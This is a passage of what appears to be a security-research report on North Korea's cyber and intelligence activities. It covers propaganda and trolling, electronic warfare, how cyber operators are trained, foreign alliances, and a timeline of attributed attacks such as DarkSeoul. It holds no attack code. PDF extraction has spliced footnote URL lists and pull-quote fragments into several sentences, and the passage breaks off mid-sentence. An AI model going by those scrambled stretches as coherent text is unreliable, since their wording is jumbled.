These establishments are also used for money laundering and drug trafficking.184 North Korea has a global network of state-run businesses located in 30 to 40 countries that is used for espionage activities. These establishments are also used for money laundering and drug trafficking. The regime is also known to kidnap foreign citizens and use them as instruments for intelligence. Prisoners are first tortured and psychologically conditioned to bend to the regime s will. They are then used based on their skillset. This may include teaching their language to North Koreans, spreading propaganda in their native language, providing translation services, http://japandailypress.com/religious-group-that-bought-north-korean-embassy-building-has-mob-ties-0826568/ http://culturmag.de/crimemag/jake-adelstein-the-yakuza-2/20212 http://www.thedailybeast.com/articles/2013/06/25/the-great-japanese-gang-wars.html http://news.bbc.co.uk/2/hi/asia-pacific/2958968.stm http://www.washingtontimes.com/news/2006/oct/16/20061016-122859-4745r/ http://www.ibtimes.com/north-koreas-international-network-restaurants-used-gain-hard-currency-espionage-1427242 http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-AmericanHiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer http://freebeacon.com/national-security/north-koreas-overseas-restaurants-used-for-espionage-and-gaining-hard-currency/ conducting military training, or other skills the regime deems useful.185 In July 2014, Japanese officials agreed to lift some sanctions on North Korea when the regime agreed to investigate the whereabouts of Japanese citizens who were allegedly abducted by North Korean agents decades ago. Sanctions to be lifted include the ban on port calls to Japan by North Korean ships.186 North Korea has also infiltrated important positions in South Korea for both intelligence and psychological operations purposes.187 In 2011, South Korea s National Intelligence Service reportedly discovered the presence of Communist spies. These spies within their trusted circles had been reporting back to North Korea for almost 10 years. The embedded spies included a Democratic Party representative. According to the agency, the spies were on a mission to infiltrate and influence the Democratic Party and to gather military intelligence.188 The regime also attempts to infiltrate organizations made up of North Koreans who seek shelter in South Korea, in order to gain intelligence. In the past several years, South Korea has arrested at least 14 defectors who were found to be spies.189 These intelligence collection and counterintelligence capabilities are an attempt to provide the regime with a strategic asymmetrical advantage. The regime leverages its human and cyber resources around the globe to provide an influx of intelligence, while very little credible intelligence about the regime s activities and capabilities ever becomes available to the outside world. Psychological operations North Korea continues to be a master of propaganda and deception and leverages the cyber realm for psychological operations. Modern North Korean psychological operations tactics include distribution of propaganda via traditional media outlets, websites, and social media. Many of these psychological operations campaigns are politically focused.190 According to Dr. Andrei Lankov, the North Korean government has very rational and highly successful manipulators who usually get what they want by outsmarting everybody else in the process. The regime s Unit 204 is responsible for cyber-psychological operations. These Such messages can be operations are PSYOP tailored for the cyber arena. In order to be successful, cyberused for recruitment, psychological campaigns require speed, precision, and creativity. These campaigns cyber mobilization, and to leverage the phenomenon of viral, unverified news stories that tend to rapidly instill fear in a target population. propagate via social media, mobile text messaging, and other electronic communications. This phenomenon creates an arena for strategic propagation of both fact and fiction for the purposes of sentiment manipulation. Such messages may be used for http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-AmericanHiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer http://m.us.wsj.com/articles/tokyo-to-lift-some-sanctions-on-pyongyang-1404354699?mobile=y http://www.nytimes.com/2013/10/02/world/asia/northern-spy-lifts-cloak-on-koreas-deadly-rivalry.html?pagewanted=2 http://www.kccoc.org/home/?mid=eng_kccoc_info_korea&document_srl=3223&sort_index=readed_count&order_type=desc http://www.washingtonpost.com/world/prominent-n-korean-defector-acquitted-of-espionage-by-s-korean-court/2013/08/22/642b3712-0b1911e3-89fe-abb4a5067014_story.html https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ recruitment, cyber mobilization, and to instill fear in a target population. Cyber-psychological operations may also include mental suggestion using technology as a delivery mechanism for subliminal cues. It is unknown whether North Korea possesses this capability.192 North Korean citizens have access to state-approved social networks on the Kwangmyong.193 Figure 16 A photo posted by Jean Lee on Instagram shows one of the social networking sites on the Kwangmyong.194 The regime has a limited overt social media presence on the Internet. Some of the known social media platforms employed by the regime include Twitter, Facebook, and YouTube. The YouTube channel North Korea Today, operated by user rodrigorojo1, features news clips from North Korea. It is unclear whether this channel is officially sanctioned.195 The North Korea Today YouTube channel also has corresponding profiles on Twitter196 and Facebook.197 http://fmso.leavenworth.army.mil/documents/new-psyop.pdf http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ http://instagram.com/p/WpcJs1OCkb/ https://www.youtube.com/user/rodrigorojo1 https://twitter.com/NorthKoreaT0day https://www.facebook.com/pages/Korean-Central-Television/380193555435568?fref=ts Figure 17 A screenshot of the North Korea Today YouTube Channel.198 The Uriminzokkiri website, known for pushing juche ideology and anti-American and anti-South Korean messages, has accompanying social media profiles on YouTube,199 Google+,200 and Facebook.201 It also has Twitter profiles in both Korean202 and English.203 https://www.youtube.com/user/rodrigorojo1 https://www.youtube.com/user/uriminzokkiri https://plus.google.com/u/0/112306344682887627095 https://www.facebook.com/pages/Uriminzokkiri/124452740935216 https://twitter.com/uriminzok https://twitter.com/uriminzok_engl Figure 18 A screenshot of the Uriminzokkiri YouTube channel.204 Figure 19 A screenshot from the Uriminzokkiri Facebook page shows anti-U.S. and pro-juche rhetoric.205 https://www.youtube.com/user/uriminzokkiri/featured https://www.facebook.com/pages/Uriminzokkiri/124452740935216 Figure 20 A screenshot of the Uriminzokkiri Korean language Twitter profile.206 Figure 21 A screenshot of the Uriminzokkiri English language Twitter profile.207 North Korean propaganda208 is used for several purposes: to enforce the ideals of allies and sympathizers, to frame North Korea in a favorable light to outsiders, to sensationalize the regime s perceived self-reliance and military prowess, and to shield its own citizens from the outside world.209 Juche ideology and indoctrination of the regime youth ensure support of the local population. North Koreans accept military duty as an honor and strive to excel in their service to the regime. In the spirit of juche, the regime uses disinformation to hide lapses or tout accomplishments that may have never been https://www.facebook.com/pages/Uriminzokkiri/124452740935216 https://twitter.com/uriminzok_engl http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf http://fas.org/irp/eprint/cno-dprk.pdf In the spirit of juche, the regime uses disinformation to hide lapses or tout accomplishments that may have never been achieved. achieved. 210 Limiting citizen access to the outside world by instituting the Kwangmyong intranet, North Korea ensures its citizens are not exposed to outside information that is counterproductive to citizen indoctrination or in conflict with juche ideals. North Korea portrays the West, particularly the United States, as an enemy. The regime uses this strategy of shifting the population negative sentiments toward an external entity to keep its citizens ignorant of North Korea s own economic hardship, regime brutality, and systemic incompetence.211 For example, prior to Kim Jong Il s death in 2011, North Korean media altered photos of their Dear Leader to make him appear younger and healthier than he really was. This became obvious when the altered photos were compared to those taken by Western media around the same time. 212 According to Dr. Andrei Lankov, North Koreans now have a much better understanding of what is going on in the outside than they did before. This is largely thanks to the spread of DVDs and video content in the country, but also because some of them have been to China and talk about what they have seen many [of] them sincerely believe that the United States remains ready to attack at any moment and that Japan is an incurably aggressive place nearly all of them swallow the official propaganda myths about the Korean War being started by the 'American Imperialists' who invaded them. Hence, they see the outside world as an inherently dangerous place. 213 Some human rights groups seek to reach out to North Korean citizens and break them from this isolation. In August 2014, the New York-based charity Human Rights Foundation sponsored a hackathon in San Francisco called Hack North Korea to find new ways to get information in, out, and around North Korea. The event brought together many programmers, human rights campaigners, and defectors.214 North Korea even uses trolling as a PSYOP tactic. On the Internet, trolls are users who post messages that are often crass, controversial, inflammatory, or offensive, in order to evoke a strong reaction or influence a reader s opinion. Often, the motivation for trolling is simply for the troll s enjoyment. The rude and offensive trolling tactics are in stark contrast to traditional forms of persuasive rhetoric. However, North Korea reportedly utilizes over 200 military intelligence operatives to troll South Korean message boards and social media pages with pro-North Korean sentiments.215 Matt Rhoades, director of the cyberspace and security program at the Truman National Security Project, said, "North Korea's cyber-development is almost just a new harassment mechanism for them, a low-cost, asymmetric method to harass its neighbor in the south "216 Leveraging the cyber and intelligence resources noted above, North Korea s psychological operations serve an important strategic role. The ability to influence outsiders, while effectively isolating its own population from most outside influence, allows North Korea to remain an enigma. Additionally, in line with its PSYOP tactics, North Korea may strategically take credit for cyber attacks that were, in reality, launched by another entity. Whether the targeted entity blames http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf https://www.strategypage.com/htmw/htmurph/articles/20131106.aspx http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ http://www.northkoreatech.org/2014/08/05/hack-north-korea-focuses-silicon-valley-on-information-flow/ http://www.strategypage.com/htmw/htiw/articles/20131213.aspx http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 North Korea for the attacks, or the regime simply takes credit for an attack that has not yet been attributed, several PSYOP goals can come into play. First, to claim credit for an attack amplifies the impact of a show of force, particularly if South Korea is the target. This tactic can be used to stir sentiments in order to provoke a reaction. Second, North Korea may lay claim to responsibility for an attack that exceeds its capabilities in order to seem more technologically advanced and more capable. Third, any success, or the appearance thereof, enforces the juche ideal of regime self-sufficiency. Finally, North Korea may act as a scapegoat and claim credit for a cyber attack of an ally such as China so the attack is not attributed to the real actors.217 Electronic warfare North Korea reportedly has the electronic warfare capabilities to jam GPS and to inject false GPS coordinates.218 North Korea demonstrated these capabilities in March 2011 by jamming South Korea s GPS signals during a joint U.S.-South Korea military exercise.219 North Korea has the capability to create an EMP.220 An EMP is a sudden, extreme outburst of atmospheric electricity creating an intense magnetic field that can burn out electrical equipment. 221 A report from the U.S. Department of Homeland Security (DHS) noted North Korea s ability to deliver a nuclear warhead as a satellite over the South Pole, effectively creating the burst needed to deliver an EMP targeting the United States. An EMP could effectively disrupt electronic communications including critical infrastructure components such as telecommunications, financial institutions, the energy sector, transportation, food and water delivery, emergency services, and space systems. 222 North Korea reportedly acquired its EMP technology from Russia.223 North Korea also has a drone program. The regime reportedly acquired its first drones in the late 1980 s or early 1990 s. The regime s drones are complimentary to its intelligence program and are primarily used for surveillance.224 In early 2014 a North Korean drone crashed south of the 38th parallel, the line dividing North Korea from the south.225 While early reports noted that the drones appeared similar to those manufactured by Chinese company Tauyuan Navigation Friend Aviation Technology, the company denied involvement.226 http://fas.org/irp/doddir/army/fm3-05-301.pdf https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 http://defensetech.org/2007/12/24/inside-dprks-unit-121/ http://usatoday30.usatoday.com/tech/science/2010-10-26-emp_N.htm http://www.wnd.com/2014/04/dhs-study-north-korea-capable-of-emp-attack-on-u-s/ http://www.extremetech.com/extreme/170563-north-korea-emp http://38north.org/2014/07/jbermudez070114/?utm_source=feedly&utm_reader=feedly&utm_medium=rss&utm_campaign=jbermudez070114 http://www.popsci.com/blog-network/eastern-arsenal/north-koreas-new-drones-are-chinese-which-opens-new-mystery http://www.scmp.com/news/china-insider/article/1494207/north-korean-drones-not-theirs-says-chinese-retailer Figure 22 A drone attributed to North Korea. 227 Stressing the importance of the regime s electronic warfare capabilities, in 1999 former regime leader Kim Jong Il said The basic key to victory in modern warfare is to do well in electronic warfare. 228 Since the regime s advanced technology lags behind that of South Korea and the U.S., its capability to disrupt the communications of these perceived adversaries is a vital asymmetric capability.229 Training cyber warriors North Korea utilizes primary and secondary education and the university system to train its cyber warfare operators. According to reports by defectors, the regime seeks out children who show mathematical talent and sends them through rigorous advanced training.230 A vintage North Korean animation stresses the importance of mathematics in North Korean education. The short film follows a young boy as he does his geometry homework. The frustrated boy begins to daydream then has visions of going to war with the U.S. and needing geometry to effectively calculate missile trajectory during the battle.231 http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH5.pdf http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://theweek.com/article/index/255243/how-to-kill-americans-with-geometry-a-north-korean-propaganda-film-for-kids Figure 23 A screenshot from the North Korean animation depicting geometry as a necessary skill for battle.232 Science and technology students are expected to learn foreign languages, which may include Chinese, Japanese, and English.233 Student emails, chats, and web browsing activities are heavily monitored.234 Around age twelve or thirteen, chosen students are enrolled in accelerated computer courses at First and Second Geumseong Senior-Middle Schools. https://www.youtube.com/watch?v=ujtp-70zQME https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html http://www.thestar.com/news/world/2014/02/23/north_korea_where_the_internet_has_just_5500_sites.html# Figure 24 North Korean students training for cyber war.235 The successful students are then sent to Kim Il-sung University, Kim Chaek University of Technology,236 or the Command Automation University, traditionally known as Mirim University. Kim Il-sung University s computer center was started in 1985. Its computer courses have a heavy programming element. The university reportedly developed the Intelligent Locker hard disc protection program, Worluf Antivirus, SIMNA (simulation and system analysis program), a war games program, a hepatitis diagnosis and prescription system, and a C++ program development tool called FC 2.0.237 Kim Il-sung University also has programs focusing on nuclear research.238 Kim Chaek University of Technology was established in 1948. In the late 1990s, it began to restructure its computer-focused courses to reflect more modern technologies. As of 2002, the university had three colleges focusing on computer science, information science and technology, and machine science. Software developed by the university includes Computer Fax and SGVision, an image-reprocessing program used for steganography.239 Students and instructors must submit a formal request for permission in order to use the Internet for research.240 http://www.courierpress.com/news/2013/apr/19/young-north-koreans-train-seek-revenge-us/ http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://www.nti.org/facilities/789/ http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://www.theguardian.com/world/2013/jan/08/north-korean-google-chief-search The Command Automation University periodically chooses around 100 students for an intensive five-year course prior to their assignment to serve in cyber intelligence and cyber warfare capacities.241 Programs at the Command Automation University include command automation, computers, programming, automated reconnaissance, and electronic warfare.242 Other students attend a two-year accelerated university program, then study abroad in Russia or China before they are assigned to a cyber-operator role.243 The elite cyber operators are given special incentives. For example, parents of students graduating from the cyber program with top scores are given the opportunity to live in Pyongyang; and married cyber operators are given housing, a food allowance, and a stipend if operating overseas. Due to the nature of their profession, these cyber elite are some of the only North Koreans allowed to access the outside Internet.244 Important political and military ties While this report focuses on North Korea s cyber warfare capabilities, these capabilities cannot be fully separated from the implications of partnerships with countries known to deal in illegal weapons trade with the regime. Now that cyberspace has become a legitimate arena for warfare, these nations are also potential allies in the cyber realm. For this reason, the regime s key political and military relationships are explored below. China North Korea has a longstanding historical relationship with China. During the Korean War (19501953), China allied with North Korea s Communist forces. China has also provided ongoing political and economic support to the regime s leadership and is a primary trade partner. North Korea is economically dependent on China. North Korea gets an estimated 90 percent of its energy imports, 80 percent of its consumer goods, and 45 percent of its food supply from China. This relationship is prudent in the event of a military conflict, China can strategically use North Korea as a buffer zone between itself and South Korea, where many U.S. military personnel are stationed. Chinese aid to North Korea also deters the likelihood that the regime will collapse, resulting in internal destabilization that could catalyze a U.S.-China conflict.245 North Korea relies heavily on China for technological resources. As noted above, North Korea relies on China s Unicom for Internet access.246 Additionally, the regime sends some of its cyber warriors to train in China247 and stations a portion of its Unit 121 personnel in Shenyang.248 Some of North Korea s official websites are hosted in China, 249 and KCC has a branch office there.250 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.cfr.org/china/china-north-korea-relationship/p11097#p1 https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ http://www.naenara.com.kp/en/kcc/ North Korea also relies on China to provide much of its network hardware, including servers and routers.251 Russia North Korea has a long history of ties to Russia. The former Soviet Union was the major sponsor of the North Korean state and a major trading partner. Following the dissolution of the Soviet Union, aid to North Korea was halted and trade diminished significantly. This chain of events contributed to North Korea s eventual economic collapse, as it could not survive without aid.252 North Korea currently has a collaborative relationship with Russia in the cyber realm. The regime CSTIA relies on Russia as one of several sources for technical data.253 North Korea also sends some of its cyber warriors to train in Russia,254 and the regime reportedly acquired its EMP technology from there.255 Political ties between Russia and North Korea have become stronger in recent months. In 2014, potentially as a result of the U.S. response to the Russian-Ukranian conflict, Russia began to strengthen ties with North Korea. Negotiations reportedly included promises of trade and development projects. Narushige Michishita, a North Korea and Asia security expert at Japan's National Graduate Institute for Policy Studies, stated By strengthening its relationship with North Korea, Russia is trying to enhance its bargaining position vis- -vis the United States and Japan. Russia also recently forgave most of the regime s debts.257 Iran North Korea and Iran have longstanding political and military ties. North Korea supplied Iran with conventional arms during the Iran-Iraq War. Iran and North Korea reportedly collaborate closely in ballistic missile development efforts. In the past, Iran provided the North Korean regime with necessary funds and oil in exchange for missile parts and technology. 258 259 In 2009, a North Korean plane transporting 35 tons of weapons and allegedly bound for Iran was seized after making an unscheduled stop in Bangkok, Thailand. That same year, United Arab Emirates seized a ship bound for Iran that was transporting several containers of North Korean weapons, including rocket-propelled grenades and ammunition. Reportedly, the customer was a company affiliated with Iran s Islamic Revolutionary Guard Corps. 260 261 North Korea also has cyberwar ties with Iran. In 2012, North Korea and Iran signed a technology treaty to help combat common enemies in cyberspace. The treaty included provisions for cooperation in research, student exchanges, and joint laboratories. Joint projects reportedly http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 http://www.aljazeera.com/indepth/opinion/2014/06/n-korea-russia-step-toward-worl-201462253320470677.html https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.extremetech.com/extreme/170563-north-korea-emp http://www.theguardian.com/world/2014/jun/04/russia-bolster-ties-north-korea http://www.voanews.com/content/russia-forgives-north-korean-debt/1939188.html http://thediplomat.com/2013/10/the-iran-secret-explaining-north-koreas-rocket-success/2/ http://humanities.tau.ac.il/iranian/en/previous-reviews/10-iran-pulse-en/117-10 http://www.armscontrol.org/factsheets/dprkchron http://www.irantracker.org/foreign-relations/north-korea-iran-foreign-relations include IT information sharing, engineering, biotechnology, renewable energy, and sustainability. F-Secure s Mikko Hypponen stated, "It's highly likely that one of the reasons for this co-operation is for them to work together regarding their cyber defence and cyber offense strategies". Hypponen cited Flame malware as a possible triggering event for the creation of this treaty. Others also suspect that Iran and North Korea s mutual interest in development of nuclear weapons and the need to protect refineries against malware such as Stuxnet were driving factors in the establishment of the treaty.262 U.S. House Foreign Affairs Committee leaders assert that the treaty indicates North Korea and Iran are collaborating on a joint nuclear weapons program.263 Additionally, North Korea, in conjunction with Iran and Syria, reportedly supports both Hamas and Hezbollah in procuring kinetic weaponry and communications equipment and in establishing operational infrastructure.264 265 266 Syria North Korea has both a cyber relationship and kinetic weapons ties with Syria. KCC reportedly has a branch in Syria.267 In 2007, Israel launched an airstrike, destroying a Syrian target that was allegedly a nuclear facility under construction with North Korea s assistance. U.S. officials noted the facility was modeled on the North Korean nuclear reactor at Yongbyon.268 The North Korea-Syria relationship becomes more important in the context of both countries ties with Iran. As noted above, Iran, North Korea, and Syria jointly provide support to extremist groups Hamas and Hezbollah.269 270 271 Additionally, as we explored in HPSR Security Briefing Episode 11, Iran and Syria s military alliances extend to joint SIGINT and cyber operations.272 Cuba North Korea also has an interesting relationship with Cuba one that includes supplying weapons and apparent attempts to illegally smuggle weapons. In 2013, a North Korean cargo ship on its return voyage was stopped near the Panama Canal. The ship was carrying surface-to-air missile parts, disguised as containers of sugar. In an attempt to save face, Cuba s Ministry of Foreign Affairs stated that the cargo included "240 metric tons of obsolete defensive weapons -- two antiaircraft missile complexes Volga and Pechora, nine missiles in parts and spares, two Mig-21 Bis and 15 motors for this type of airplane, all of it manufactured in the mid-20th century -- to be http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware http://www.voanews.com/content/ties-among-north-korea-syria-iran-a-major-security-threat/1639769.html http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+ Informed+Analysis+of+North+Korea%29 http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 http://www.naenara.com.kp/en/kcc/ http://www.armscontrol.org/factsheets/dprkchron http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+ Informed+Analysis+of+North+Korea%29 http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U_TiZGSwL-0 repaired and returned to Cuba." Experts said the cargo appeared to include a SNR-75 Fan Song fire-control radar system for an SA-2 missile, a Soviet-era missile system that was also used in Cuba.273 Following the incident, Fidel Castro credited former North Korean leader Kim Il-Sung for providing Cuba with weapons near the end of the Cold War. Weapons included 100,000 AK rifles and necessary ammunition.274 While no apparent cyber relationship exists between North Korea and Cuba at this time, their track record for weapons trade means the potential for future collaboration in the cyber realm cannot be discounted. Timeline of significant North Korean cyber activity 2004 2006 2007 2009 2010 North Korea gains access to 33 South Korean military wireless communication networks275 The U.S. State Department is attacked by entities in the East Asia-Pacific region. The attacks coincided with State Department negotiations with North Korea regarding the regime s nuclear missile tests. (June)276 A South Korean military official states North Korea s Unit 121 has breached South Korean and U.S. military entities. (July)277 North Korea tests a logic bomb (October)278 North Korea states that it is fully ready for any form of high-tech war. (June)279 DarkSeoul DDoS and disk wiping malware targeting South Korean and U.S. government, media outlet, and financial websites. These attacks also coincided with U.S. Independence Day. (July)280 281 Malware for Operation Troy was likely planted.282 DarkSeoul Backdoor.Prioxer detected (June) 283 Korean Central News Agency website becomes North Korea s first known direct connection to the Internet (October)284 http://www.nbcnews.com/news/other/north-korean-ship-carrying-hidden-missile-equipment-detained-after-leaving-f6C10647045 http://www.abc.net.au/news/2013-08-15/fidel-castro-cuba-north-korea-war-ussr/4887920 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://powerofcommunity.net/poc2009/si.pdf http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ 2011 2012 2013 2014 10 Days of Rain Attack - DarkSeoul DDoS and disk wiping malware against South Korean media, financial, and critical infrastructure targets (March)285 286 North Korea disrupts South Korean GPS signals (March)287 North Korea reportedly attempts DDoS attack against Incheon Airport 288 Nonghyup bank suffers DDoS attack (April)289 South Korean newspaper JoongAng Ilbo attacked (June)290 DarkSeoul Downloader.Castov detected (October)291 North Korea signs treaty with Iran, agreeing to combat common enemies cyberspace292 March 20 disk wiping attacks against South Korean media and financial institutions (March)293 Whois Team claims responsibility for attacking LG +U website with wiper malware and defacement, impacting South Korean media and financial institutions (March) 294 295 The New Romantic Cyber Army Team claims responsibility for the same attacks296 North Korea experiences 36-hour Internet outage. The cause was never definitively determined297 Anonymous launches #OpNorthKorea and targets North Korean websites (March)298 Anonymous allegedly hacks Uriminzokkiri and takes over its Twitter and Flickr pages 299 (April) DarkSeoul attack on South Korean financial institutions (May)300 DarkSeoul DDoS attacks against South Korean government s DNS server (June)301 Details on Kimsuky malware, which targeted South Korean think tanks, first released (September)302 North Korean drones found near South Korean border (March and April)303 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1 http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix61226391202749 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage http://www.northkoreatech.org/2013/03/30/tango-down-more-attacks-on-dprk-websites/ http://www.washingtontimes.com/news/2013/apr/4/anonymous-hackers-bring-down-north-korean-websites/ http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ Patterns in the noise: cyber incidents attributed to North Korean actors It is interesting to note that much of North Korea s cyber activity follows a distinct pattern. Analysis of North Korean cyber activity gives insight into these patterns and also helps tie together North Korea s strategic, tactical, and operational capabilities. Strategic capabilities refer to the assets used in support of a long-term, overarching goal. Tactical capabilities refer to the methods and maneuvers actually implemented in pursuit of the strategic goal.304 Operational capabilities refer to the potential use of these capabilities.305 In 2004, in response to the annual U.S. South Korea joint military exercises, North Korea reportedly gained access to 33 South Korean military wireless communication networks.306 The next significant cyber attack attributed to North Korea was in June 2006. The U.S. State Department was attacked by entities in the East Asia-Pacific region. The attacks coincided with State Department negotiations with North Korea regarding the regime s nuclear missile tests. 307 In July 2006, North Korea s Unit 121 reportedly breached South Korean and U.S. military entities.308 This attack was concurrent with the regime s test-fire of at least one long-range missile and several medium-range missiles.309 2007 was politically tumultuous for North Korea. Following multi-national talks, the UN International Atomic Energy Agency (IAEA) ordered the shutdown of the regime s nuclear facilities in Yongbyon in July.310 Its nuclear efforts temporarily thwarted, North Korea tested a logic bomb in October 2007.311 In April 2009, North Korea ejected IAEA and U.S. nuclear compliance officials. The regime indicated refusal to comply with any UN agreements regarding nuclear weaponry and announced it would reinstate its nuclear materials production. The next month, North Korea conducted an underground nuclear test and voiced its confidence that the regime was well on its way to producing viable nuclear technology. The UN called an emergency meeting condemning the nuclear weapons test, and South Korea joined the Proliferation Security Initiative (PSI). North Korea issued a statement via KCNA calling South Korea s involvement in PSI an act of war.312 In June 2009, North Korea stated that it was fully ready for any form of high-tech war. 313 The following month, DDoS and disk wiping malware, later known as DarkSeoul, targeted South Korean and U.S. government entities, media outlets, and financial websites. The attacks coincided http://www.scholastic.com/teachers/article/strategy-and-tactics-military http://www.dau.mil/pubscats/Pages/preface.aspx http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=0CCMQFjAB&url=http%3A%2F%2Fwww.bbc.com%2Fnews%2Fworldasia-pacific15278612&ei=fabyU6XQLsLFigLH94GIAw&usg=AFQjCNGbrzkNZJ5tz4jmLyMPsCHEHc41WA&sig2=l8FMAdbvzFxYeBBOAMWO6Q&bvm=bv.73231344,d .cGE&cad=rja http://www.armscontrol.org/factsheets/dprkchron http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.armscontrol.org/factsheets/dprkchron http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html with U.S. Independence Day.314 315 Other malware used for Operation Troy was also planted. Operation Troy would continue for several years, largely undetected.316 In early 2011, political and military tensions were high. In February, James Clapper, United States Director of National Intelligence, testified that North Korea likely had undeclared uranium enrichment facilities as part of its nuclear weapons program.317 In March 2011, 